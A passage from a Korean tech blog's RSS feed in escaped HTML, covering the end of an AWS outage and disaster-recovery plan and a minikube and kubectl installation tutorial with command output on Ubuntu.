&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;-&amp;nbsp;cloudfront에서&amp;nbsp;점검&amp;nbsp;페이지&amp;nbsp;안내&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CDN&amp;nbsp;10분정도&amp;nbsp;소요&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;ALB&amp;nbsp;아웃바운드&amp;nbsp;&amp;nbsp;target&amp;nbsp;group(EC2)&amp;nbsp;방화벽&amp;nbsp;차단&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;RDS에서&amp;nbsp;&amp;nbsp;EC2&amp;nbsp;&amp;nbsp;인바운드&amp;nbsp;정책&amp;nbsp;차단&lt;br /&gt;&lt;br /&gt;- EC2의 스케일 up&lt;br /&gt;&amp;nbsp; &lt;b&gt;댓수를 4-&amp;gt;6대 늘리던지&amp;nbsp; &amp;nbsp; 메모리에 최적화된 타입을 늘리던지 해서 늘림&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;- 내부 테스트&lt;br /&gt;&lt;br /&gt;- RDS, ALB 방화벽 오픈&lt;br /&gt;&lt;br /&gt;- cloudfront 운영 페이지 안내&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;RTO&amp;nbsp;(Recovery&amp;nbsp;Time&amp;nbsp;Objective)&lt;br /&gt;암기&amp;nbsp;비법:&amp;nbsp;&quot;복구&amp;nbsp;시간&amp;nbsp;목표&quot;&amp;nbsp;(RTO&amp;nbsp;&amp;rarr;&amp;nbsp;복구&amp;nbsp;시간)&lt;br /&gt;&lt;b&gt;1시간&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;RPO&amp;nbsp;(Recovery&amp;nbsp;Point&amp;nbsp;Objective)&lt;br /&gt;암기&amp;nbsp;비법:&amp;nbsp;&quot;복구&amp;nbsp;지점&amp;nbsp;목표&quot;&amp;nbsp;(RPO&amp;nbsp;&amp;rarr;&amp;nbsp;복구&amp;nbsp;지점)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실시간 데이타 데이타 유실은 없음&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. 사무실 화재 발생&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;- 사내 인터넷 접속 불능 상황&lt;br /&gt;&lt;br /&gt;- UTM에 등록된 IP만&amp;nbsp; AWS cli, 서버 접근 제어 접속 가능&lt;br /&gt;&lt;br /&gt;- admin AWS로 서버 접근제어 cli&amp;nbsp; 등록된 IP해제&lt;br /&gt;&lt;br /&gt;- 관리콜손 ssh 직접제어 옵션 활성화&lt;br /&gt;&lt;br /&gt;- 사내 오피스가 복구될때까지 서버 모니터링&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>aws</category>
      <category>aws #클라우드</category>
      <author>iesay</author>
      <guid isPermaLink="true">https://iesay.tistory.com/262</guid>
      <comments>https://iesay.tistory.com/262#entry262comment</comments>
      <pubDate>Thu, 2 Jan 2025 12:21:47 +0900</pubDate>
    </item>
    <item>
      <title>minikube 설치</title>
      <link>https://iesay.tistory.com/261</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;출처 : 도커&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.docker.com/engine/install/ubuntu/&quot;&gt;Ubuntu | Docker Docs&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gam1532.tistory.com/48&quot;&gt;가상머신에 Minikube 설치하기 (with Docker)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;다운로드.png&quot; data-origin-width=&quot;1101&quot; data-origin-height=&quot;751&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cC6S4T/btsKOmwyhrl/nInqtcoRbNKXYLTjKGv1rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cC6S4T/btsKOmwyhrl/nInqtcoRbNKXYLTjKGv1rk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cC6S4T/btsKOmwyhrl/nInqtcoRbNKXYLTjKGv1rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcC6S4T%2FbtsKOmwyhrl%2FnInqtcoRbNKXYLTjKGv1rk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1101&quot; height=&quot;751&quot; data-filename=&quot;다운로드.png&quot; data-origin-width=&quot;1101&quot; data-origin-height=&quot;751&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 17px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;sudo&amp;nbsp;usermod&amp;nbsp;-aG&amp;nbsp;docker&amp;nbsp;server&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;newgrp&amp;nbsp;docker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;wget&amp;nbsp;&lt;a href=&quot;https://storage.googleapis.com/minikube/releases/latest/minikube_latest_amd64.deb&quot;&gt;https://storage.googleapis.com/minikube/releases/latest/minikube_latest_amd64.deb&lt;/a&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;sudo dpkg -i minikube_latest_amd64.deb&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;minikube&amp;nbsp;start&amp;nbsp;--driver=docker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;curl&amp;nbsp;-LO&amp;nbsp;&lt;a href=&quot;https://dl.k8s.io/release/v1.22.1/bin/linux/amd64/kubectl&quot;&gt;https://dl.k8s.io/release/v1.22.1/bin/linux/amd64/kubectl&lt;/a&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;sudo&amp;nbsp;install&amp;nbsp;-o&amp;nbsp;root&amp;nbsp;-g&amp;nbsp;root&amp;nbsp;-m&amp;nbsp;0755&amp;nbsp;kubectl&amp;nbsp;/usr/local/bin/kubectl&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;kubectl&amp;nbsp;--help&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 17px; text-align: left;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미니 쿠베 설치완료&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2024-11-19 10 28 26.jpg&quot; data-origin-width=&quot;1119&quot; data-origin-height=&quot;639&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ROeCD/btsKNt4jd51/jkATSHHXEQeRjPAF5GOFb1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ROeCD/btsKNt4jd51/jkATSHHXEQeRjPAF5GOFb1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ROeCD/btsKNt4jd51/jkATSHHXEQeRjPAF5GOFb1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FROeCD%2FbtsKNt4jd51%2FjkATSHHXEQeRjPAF5GOFb1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1119&quot; height=&quot;639&quot; data-filename=&quot;2024-11-19 10 28 26.jpg&quot; data-origin-width=&quot;1119&quot; data-origin-height=&quot;639&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;cd&amp;nbsp; 계정 홈디렉토리로 이동&lt;br /&gt;&lt;br /&gt;환경변수 편집&lt;br /&gt;vi .bashrc &lt;br /&gt;&lt;br /&gt;알리랑스 입력&lt;br /&gt;alias k='kubectl' &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;환경변수 재실행&amp;nbsp;&lt;br /&gt;source .bashrc&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2024-11-19 10 40 01.jpg&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;526&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c7mCZd/btsKNxrVKTx/Dcca56Z7ecxjW3DzaSUG2K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c7mCZd/btsKNxrVKTx/Dcca56Z7ecxjW3DzaSUG2K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c7mCZd/btsKNxrVKTx/Dcca56Z7ecxjW3DzaSUG2K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc7mCZd%2FbtsKNxrVKTx%2FDcca56Z7ecxjW3DzaSUG2K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1118&quot; height=&quot;526&quot; data-filename=&quot;2024-11-19 10 40 01.jpg&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;get&amp;nbsp;pod&amp;nbsp;-n&amp;nbsp;kube-system&lt;/b&gt; &lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;READY&amp;nbsp;&amp;nbsp;&amp;nbsp;STATUS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RESTARTS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;coredns-6f6b679f8f-5hh6q&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Running&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6m25s &lt;br /&gt;etcd-minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Running&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6m33s &lt;br /&gt;kube-apiserver-minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Running&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6m33s &lt;br /&gt;kube-controller-manager-minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Running&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6m30s &lt;br /&gt;kube-proxy-sb56h&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Running&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6m26s &lt;br /&gt;kube-scheduler-minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Running&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6m33s &lt;br /&gt;storage-provisioner&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Running&amp;nbsp;&amp;nbsp;&amp;nbsp;2&amp;nbsp;(6m21s&amp;nbsp;ago)&amp;nbsp;&amp;nbsp;&amp;nbsp;6m28s &lt;br /&gt;server@ubuntu24:~$ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;get&amp;nbsp;nodes&lt;/b&gt; &lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;STATUS&amp;nbsp;&amp;nbsp;&amp;nbsp;ROLES&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE&amp;nbsp;&amp;nbsp;&amp;nbsp;VERSION &lt;br /&gt;minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;Ready&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;control-plane&amp;nbsp;&amp;nbsp;&amp;nbsp;10m&amp;nbsp;&amp;nbsp;&amp;nbsp;v1.31.0&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;get&amp;nbsp;all&lt;/b&gt; &lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CLUSTER-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;EXTERNAL-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;PORT(S)&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;service/kubernetes&amp;nbsp;&amp;nbsp;&amp;nbsp;ClusterIP&amp;nbsp;&amp;nbsp;&amp;nbsp;10.96.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;none&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;443/TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;11m&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;get&amp;nbsp;svc&lt;/b&gt; &lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CLUSTER-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;EXTERNAL-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;PORT(S)&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;kubernetes&amp;nbsp;&amp;nbsp;&amp;nbsp;ClusterIP&amp;nbsp;&amp;nbsp;&amp;nbsp;10.96.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;none&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;443/TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;11m &lt;br /&gt;server@ubuntu24:~$ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$ &lt;b&gt;k create deployment hello-minikube --image=k8s.gcr.io/echoserver:1.10&lt;/b&gt; &lt;br /&gt;deployment.apps/hello-minikube&amp;nbsp;created&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;expose&amp;nbsp;deployment&amp;nbsp;hello-minikube&amp;nbsp;--type=NodePort&amp;nbsp;--port=8080&lt;/b&gt; &lt;br /&gt;service/hello-minikube&amp;nbsp;exposed&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;expose&amp;nbsp;deployment&amp;nbsp;hello-minikube&amp;nbsp;--type=NodePort&amp;nbsp;--port=8080&lt;/b&gt; &lt;br /&gt;Error&amp;nbsp;from&amp;nbsp;server&amp;nbsp;(AlreadyExists):&amp;nbsp;services&amp;nbsp;&quot;hello-minikube&quot;&amp;nbsp;already&amp;nbsp;exists&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;expose&amp;nbsp;deployment&amp;nbsp;hello-minikube&amp;nbsp;--type=nginx&amp;nbsp;--port=80&lt;/b&gt; &lt;br /&gt;The&amp;nbsp;Service&amp;nbsp;&quot;hello-minikube&quot;&amp;nbsp;is&amp;nbsp;invalid:&amp;nbsp;spec.type:&amp;nbsp;Unsupported&amp;nbsp;value:&amp;nbsp;&quot;nginx&quot;:&amp;nbsp;supported&amp;nbsp;values:&amp;nbsp;&quot;ClusterIP&quot;,&amp;nbsp;&quot;ExternalName&quot;,&amp;nbsp;&quot;LoadBalancer&quot;,&amp;nbsp;&quot;NodePort&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;server@ubuntu24:~$&amp;nbsp;&lt;b&gt;k&amp;nbsp;get&amp;nbsp;all&lt;/b&gt; &lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;READY&amp;nbsp;&amp;nbsp;&amp;nbsp;STATUS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RESTARTS&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;pod/hello-minikube-66fcf97965-n28d6&amp;nbsp;&amp;nbsp;&amp;nbsp;1/1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Running&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2m11s &lt;br /&gt;&lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CLUSTER-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EXTERNAL-IP&amp;nbsp;&amp;nbsp;&amp;nbsp;PORT(S)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br /&gt;service/hello-minikube&amp;nbsp;&amp;nbsp;&amp;nbsp;NodePort&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10.106.104.194&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;none&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8080:30891/TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;103s &lt;br /&gt;service/kubernetes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClusterIP&amp;nbsp;&amp;nbsp;&amp;nbsp;10.96.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;none&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;443/TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;18m &lt;br /&gt;&lt;br /&gt;NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;READY&amp;nbsp;&amp;nbsp;&amp;nbsp;UP-TO-DATE&amp;nbsp;&amp;nbsp;&amp;nbsp;AVAILABLE&amp;nbsp;&amp;nbsp;&amp;nbsp;AGE &lt;br 